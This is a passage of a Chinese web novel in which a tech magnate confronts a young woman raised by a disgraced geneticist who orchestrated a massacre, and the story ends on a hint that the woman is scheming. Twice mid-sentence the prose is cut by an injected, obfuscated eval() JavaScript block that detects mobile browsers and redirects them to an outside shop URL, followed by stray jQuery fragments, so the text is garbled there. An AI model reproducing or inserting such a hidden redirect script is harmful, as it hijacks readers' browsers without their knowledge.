接他们过来的黑衣人礼貌地对夏玖轻轻鞠了个躬。
“夏小姐,我们老板有请。”
·
夏玖终于见到了他。
林瀚,年轻有为的科技领域新贵,他的父亲是生物基因领域的权威学者,母亲曾是一名小有名气的影星。
林瀚生得极为俊美,他继承了他母亲的美貌,皮肤白皙、五官立体,只是幼时的悲惨遭遇让他那双深邃眼眸看起来比常人更加疏离和冰冷。
这里是他的办公室。是夜,在巨大落地窗前,能依稀在镜面的反射倒影中看见窗外的灯火璀璨,繁华得如有众星汇聚。这是一个科技发达的时代,这是一个自然人显得无比渺小的时代。
他静静看着她,似要将她看穿。像在不带任何感情地欣赏一件以罪恶铸就的艺术品。
夏玖是那么漂亮,精致的脸庞上没有任何瑕疵,完美得几乎如同建模。而她的智慧,又为美人皮囊注入灵魂,很难不教人一眼沦陷。
“不愧是蓝绫博士的杰作。”
林瀚勾起唇,可眼底却并无一丝笑意。只有冷,也只有恨。
这二十年来,他每每想到曾经的噩梦,都像是被人掐住了脖子一般难以呼吸。凶手在别墅中自我了断,人死不能复生,慢慢地,大家似乎将那样一场惨剧遗忘在时间里了。
可他不相信事情像看到的那样简单。他总认为一定还有幕后黑手,在背后主导和操纵了这一切。
这些年来,他动用各种关系,从未放弃过追查线索。终于皇天不负有心人,不久前,他找到了凶手当年在别墅外打电话的那部手机,用技术手段恢复了当时的那段通话。
——“蓝绫博士,我求您别逼我,这伤天害理的事我不能做!”
——“你想想你的女儿。她的基因疾病是天生的,只有我可以救她。我所做的一切都是为了人类走向优化。”
对面的男人沉默了。他口中的“蓝绫博士”似乎捏住了他的软肋。见他这边犹豫,对方继续加码。
——“我答应你,只要你去做了,我许你女儿一个好的人生。她现在没有上户,所以你可以不是他法律层面的父亲,不必担心杀人犯女儿这个身份给她带来麻烦。我会将她抚养长大。她的基因疾病目前在市面上没有任何药剂可以医治,只有我的基因编辑技术能救她。我不但能救她,我还可以给她编入更优质的基因。她不但能健康地活下来,而且会比一般人更聪明、更漂亮。你好好考虑。”
8. 第 8 章
“上帝掷骰子吗?”
这句话曾是当年的生物基因学领域的专家蓝绫博士的经典开场白。在很多学术会议上,她都以此拉开演讲的序幕。
二十年前,蓝绫博士才不过三十岁出头,便已有了泰斗级的成就。她有一个“独门绝技”,抛出一个骰子,任它在空中翻滚后,能稳稳立在她指尖,且每一次都是点数6朝上。
“很多人认为,基因的遗传和变异就像掷骰子,在确定的6个点数下,一切都是随机。”
涂着娇艳红唇的蓝绫博士微微一笑,“但或许,并不是。天生的基因固然看命,可是,不代表后天不可以努力。”
那一年,蓝绫一时风头无两。她的能力为她带来了巨大的名和利。她独创了一种新的基因提取和编辑方式,在动物实验中实现了“基因资源重新配置”。
她认为她就是上帝,她掌握着基因的密码。
可是,她的成果却得到了研究所其他成员的质疑。
“蓝绫,这已经不再是学术层面的问题。这涉及道德伦理。”为首的研究所所长对她的研究持保留态度:“你知道这一旦面世将意味着什么吗?长此以往,优质基因只会属于达官显贵,而平民只能拥有劣质基因,直到被彻底淘汰。”
他们不支持她。有庞大的资本集团开出天价想与她合作,可是研究所的那些“老顽固们”却有意阻止。他们告诉她所里会再专门开会商讨,而蓝绫收到的小道消息则是他们已经内部协商准备停掉她的项目。
蓝绫是个有野心、有手段的女人。她要不动声色地除掉这些阻碍。
她精心设计了一场看似由保安员见钱眼开而引发的绑架案,即便如今看来也存在一些禁不起推敲的漏洞,可是以二十年前的办案和取证水平,人证物证俱在,凶手自杀又死无对证,就只能那么结案了。
没有人怀疑到她头上。
她的计划也确实起了作用。研究所出了这么大的事,所长受到牵连,负了连带责任。研究所内氛围沉重、人心惶惶,甚至有人对人性的恶意感到无比绝望,失去了继续以人类社会进步为事业理想的信念。那一刻,大家的观念都改变了、颠覆了。谁还会有额外的精力去专门评估和反对某些“存在伦理隐患”的项目。
蓝绫就是钻了这个空子,最终顺利与资方达成了合作。
可惜,人算不如天算。基因药剂刚上市没多久,就被国家出手整治了。这些搅乱乾坤的产品面世后带来的恶劣影响完全超出了预期,甚至比研究所一开始评估的还要更糟糕。相关产品全部被下架,蓝绫的基因编辑技术遭到封杀,蓝绫本人也一度差点面临牢狱之灾。媒体不允许报道,风头渐渐冷下去后,其他同行也对此讳莫如深、不再提及。
昔日声名大噪的蓝绫博士,她的时代也就此结束。
·
夏玖默默听完林瀚讲述的这一切。
兰玲阿姨,不,应该叫蓝绫博士,她隐姓埋名了整整二十年。而被她抚育长大的夏玖——
“我是杀人犯的女儿……”夏玖喃喃念着这句话,隐约有湿润的雾气含在眸中,像透过一汪帘幕凝望着林瀚。
林瀚回避了她的目光。“蓝绫在生物基因领域拥有翻云覆雨的技术,却最终画地为牢。我调查过她,信息表明,她长期遭受实验室的辐射而罹患癌症,发现的时候癌细胞已经扩散到了全身,回天乏术了。这恰恰是她倾尽一生研究基因编辑技术的代价。”
——“我所做的一切都是为了人类走向优化。”
在决定制造那起别墅惨案的时候,蓝绫这么说。
她不认为她有错,她认为这只是在为一个造福全人类的崇高理想而做出的小小牺牲。
蓝绫的人生,似乎注定是一场闹剧般的闭环。轰轰烈烈起势,凄凄惨惨结局。
夏玖咬紧嘴唇。
“她对不起你们,或许也对不起天下人。可是……她唯独对得起我。”
夏玖到底算什么呢?她是天生就患有基因疾病、本该在二十年前就夭折的孩子。
“全天下人都有资格说她坏,只有我没有。我代替她……接受一切审判。”
·
夏玖愿意代替蓝绫接受审判。
可是,谁又真的有资格去审判夏玖。犯罪的是蓝绫,不是她。
即使是林瀚,他也终究只能在亲手创造的那个名为“骰子审判游戏”的虚拟空间里,让她亲眼见证、还原当时的场景,感受他曾经的痛苦。
有那么一瞬间,他真的很想将夏玖永远地囚禁,在游戏里那个曾经是人间炼狱的别墅中,每日每夜重复着那一次次的惊心动魄,永无休止的轮回。
她不曾作恶,可她承受了罪恶之人给予她的好处不是么?
夏玖那么聪明,她从见到他的第一眼,便猜到了他原本为自己预设的结局。
“……对不起。”
她为蓝绫的所作所为道歉。“我愿意承受一切,只要能为兰姨赎罪。”
林瀚冷笑,一双冷眸依然毫无温度。此时她在他的面前,不再像游戏中那样沉稳冷静、游刃有余,更像一只楚楚可怜的困兽,只能任他宰割。
空气变得安静,沉默中夹杂着彼此的心绪。
突然,他转过身去,不再看她。
“你走吧。”
林瀚背对着夏玖,她无法看见他此刻的神情。
“……在我改变主意之前。”
·
一个月后。
在大学校庆活动上,夏玖再次见到林瀚。
她是优秀学生代表,而他则是杰出校友嘉宾。今年他又为母校捐赠了两栋楼。她代表学校为他献花,晚上的应酬晚宴校领导也叫她一同作陪。
晚宴上,校领导似乎隐约察觉到了二人间气氛微妙,只是他揣测错了方向。他吩咐夏玖跟车把林瀚送到家。
迈巴赫里,夏玖与林瀚坐在后排。此刻这里只有他们两个人。夏玖的呼吸轻轻的,混合着淡淡的柠檬香气,如同二人宿命般的羁绊在眼前的空间中蔓延。微醺。气氛一时有些难以言说的暧昧。
突然,夏玖开口了。
“林总。我自知无权奢求你的原谅和宽恕。可是我希望你能放过自己。”
林瀚闻言,身子微怔。不过只消片刻便又恢复如常。他眯了眯眼睛。
“前几日……我去探望了莫先生。”
夏玖口中的“莫先生”,是当年别墅惨案中的那“半个幸存者”。他成功逃离了别墅,回来后却精神受刺激疯了。
游戏结束后,夏玖回归了平静的生活。她重新复盘整件事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403695|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却发现仍有一个疑点难以逻辑自洽。
在故事的最后,三个幸存者以一名同伴的牺牲为代价,获取了逃生的机会。
可当时他们都只是小孩子,为什么那个孩子会那么懂事,主动做那个“献祭者”?而且在当时凶手紧追不舍地地毯式搜索的情况下,他们有机会商量逃跑计划吗?
更何况,就算真的有一个孩子愿意主动牺牲,可要做到引凶、拉闸、锁门一气呵成,难度也并不低。这个计划成行的可能性,到底有多少?
在游戏中,那是NPC引导她解读出来的“真相”,也就是林瀚呈现给她的内容。而那,一定就是真相吗?
游戏是虚拟的。即使它有真实的故事原型,也不代表那之中没有被改编和美化的部分。
医院里,已经三十多岁的莫先生仍旧像个孩子一样,只会大哭大闹。
“你别找我、别找我!我们也是迫不得已,不然我们都得死啊!对不起……啊啊啊啊!”
·
车子到了林瀚在郊区的别墅。
车门开了。前排的司机下车,立在车边恭敬道:“林总。”
林瀚下了车。夏玖还没有动。司机犹豫了片刻,又向林瀚请示道:“林总……是直接送夏小姐回去么?”
“不必了。”
林瀚冷淡地回应司机,接着视线转向夏玖。“跟我来。”
他对夏玖说的这几个字语气并不强硬,对比回应司机甚至显得有几分绅士和温柔。但她知道这不过只是表象罢了。
夏玖从车上下来。林瀚带她上楼。在此之前,他从未带过任何女孩子回家。
林瀚点燃了一支烟。其实他很少抽烟,更不会在女士面前抽烟。但此时此刻,透过丝丝缕缕的烟雾,他似乎想看清眼前这个女孩到底想要什么。她真的很聪明,连最后一个被他试图隐去的细节都发现了。
夏玖没有问。其实他到底是怎样做到的已经不重要了,重要的是,在那样危急的形势下,他真的谋划出了舍一保三的结果。林瀚如今不过而立之年,便一手缔造了属于他的科技商业帝国,他能够拥有如今这一切,得益于他是那样有专业天赋,也是那样杀伐果断。
林瀚将烟蒂拧熄在烟灰缸中。半晌,他问她:“为什么?”
他本来已经打算放过她了,她还来主动招惹他,甚至还要特意告诉他,她捕捉到了这些对他不利的蛛丝马迹。找死?
“我知道这些年来,你没有真正释怀过。否则你就不会修改游戏设定。”
许是酒精的作用,让夏玖也变得大胆了起来。她怎么敢,她怎么有胆量对他说这些话?
在游戏中,他将这一部分设定成了一个看起来更为高尚的情节:性感女人的角色主动献祭了自己,为最后的3名幸存者争取到了逃生的机会。而这样的心虚改动却显得更加讽刺:一条真实线还原真相,为了审判“罪恶”的夏玖;而另一条虚拟线掩盖真相,却又恰恰是在无声地审判当年那个“无辜”的自己。
“呵。”突然,林瀚笑出声来。好似这么多年来他背负的一块沉甸甸的透明石头终于显出了形状,他依旧承受着重量,可终于不必再故作轻松。
“夏玖啊夏玖。你真是太聪明了。可有时候,人不一定要那么聪明,或许才能活得更好。”
9. 第 9 章
“不,林总,你误会了我。我想说的是,不管你做过什么,在当时的形势下,都不是你的错,希望你不必再苛责自己。”
这些年来,除了已经发疯的莫先生外,没有人知道林瀚深埋在心底的这个秘密。“同时在罪恶与伤害间沉沦……林瀚,我与你一样。我能懂你。”
在这个世界上,只有夏玖能懂林瀚。
懂他当年遭遇屠杀时的绝望、求生时的心狠、幸存后的负担,以及终于找到仇人后却发现对方早已离世,他再也无法亲手审判对方的那种不甘。
林瀚听罢,并不言声。片刻后,他又点燃了一支烟。幽幽吐出烟圈,轻抿的薄唇微微勾起,只是那笑意显得有几分凉薄。
“说完了?”
“嗯。”夏玖从沙发上站起来,“林总,打扰了。我保证,这是我最后一次打扰您。”
她想对林瀚说的话,都已经说完了。她准备自己回去,不打算给他添麻烦。
“你想来就来,想走就走?”
林瀚身子没有动,仍旧维持着指尖夹着香烟的姿势。他看着她,眼底的神情晦暗不明。
夏玖回望他。她的眼睛里没有多余的情绪,好似眼前的场景原本也在她预料会发生的事情之中。
静默。又是一阵微妙的、暧昧的、彼此试探的静默。在林瀚与夏玖之间,总是什么都不必多说,他们只见过两次面,却能够在或冷或热的气氛中表达二人心照不宣的博弈与拉扯。
半晌,林瀚抽完了第二支烟。
他拿起手机,拨打了一个号码。给他的司机。
“送夏小姐回去。”
·
夏玖与林瀚的第三次见面,是大约又过了半个月左右的时候。
学校放了暑假。孟真与温阳打算出国旅游,原本他们也想叫上夏玖一起,但夏玖还有暑假工,故而作罢。
“听说台风月底要在S市登陆了。”电话另一端孟真提醒夏玖:“你注意安全!”
“放心了,你们在国外也注意安全。假期愉快。”
夏玖打工的那家酒店有林瀚的一小部分股份。月底,酒店举办店庆活动,林瀚亦在受邀嘉宾之列。
“好巧。”总统套房里,林瀚轻轻按住夏玖推来的餐车,“又见面了。”
言外之意,她一而再再而三出现在他面前,他开始怀疑她是不是有意接近他了。
想千方百计接近他的女生当然不在少数,他也不会每一个都有印象。然而,夏玖终究是特殊的一个。
夏玖却只是淡淡回应道:“林总。我有自知之明。”
林瀚松开了手。“我没有那个意思。”
夏玖没说别的,只低头默默做好她的工作,也并不看他。好像她真的只是在打暑假工,又碰巧遇上了他。
做完之后夏玖默默离开,只留下一个纤细倩丽的背影。俨然一副貌美但清贫、自力更生的女大学生形象,纯洁的像一朵小白花。
身后传来林瀚低沉的一声轻笑。
夏玖脚步顿住,接着她转过身来。微微泛红的眼眶,衬得她皮肤更加白皙,娇嫩得如一颗被雨水淋洗过的樱桃。
“邀请我参加游戏的人是你。从始至终,都是你打破了我平静的生活。”
林瀚微微一怔。
接着,夏玖推着餐车走出了房间。她不再回头。
回到酒店大堂,夏玖递交了辞职信。
她将换下来的工作服交给经理。“我不做了。您把前几天的结算给我就好,今天的费用我不要了。晚上的宴会我不过来了。”
·
晚上,夏玖看了一眼时间。酒店的宴会应该已经开始了。
此刻,她独自一个默默坐在沙发上。空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403696|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气安静得只剩下钟表走针的声音。
不多时,她的手机响了。
夏玖微微勾起唇角。似乎她已经预料到了这个电话会打过来。
但她并没有接。
电话没有响很久,几声不接,他便挂断了。可见对方的矜持高傲。
夏玖没有回拨那个未接来电。她从沙发上起身,走到书柜前,轻轻转动书立摆件,电视柜后面便出现了一道暗门。
夏玖娴熟地推门而入。小小的房间里贴满海报和从杂志上剪下来的头条、照片、报道,最早的新闻可以追溯到二十年前,最新的则是昨天晚上才新鲜出炉的简讯。
而这些素材,全部指向同一个人。
在众多照片中夏玖静静端详着她正前方的那张巨幅海报。这是去前林瀚在接受媒体采访时的照片,这张照片曾一度登上年度风云人物排行榜。
夏玖盯着海报上的那张俊脸。不可否认,林瀚的确好看极了。
二十年前他只有十岁,在那群孩子中并不是最年长的一个,却是最机敏的一个,否则又怎会年纪轻轻便有如此成就。而逃出别墅后他既没有生病也没有发疯,可见除了智商之外,他的身体和心理素质也是顶级的。
这世上真的有天生就如此完美的人……不,是如此完美的基因。
多么令人羡慕,也多么教人渴望。这才是优质的人类该有的样子,这个世界本就该是这样的优化方向。
桌上放置着一个骰子。她缓缓走过去,将骰子握进掌心。
接着,随意地向上一抛,骰子经过在空中翻滚后,竟稳稳立在指尖。
点数6。
·
窗外,硕大的乌云飘过,原本清朗的天空阴沉下来,迅疾的风声带动被摧残的树枝敲打着窗户,发出“呜呜”悲鸣。
台风过境,新的风暴即将来临。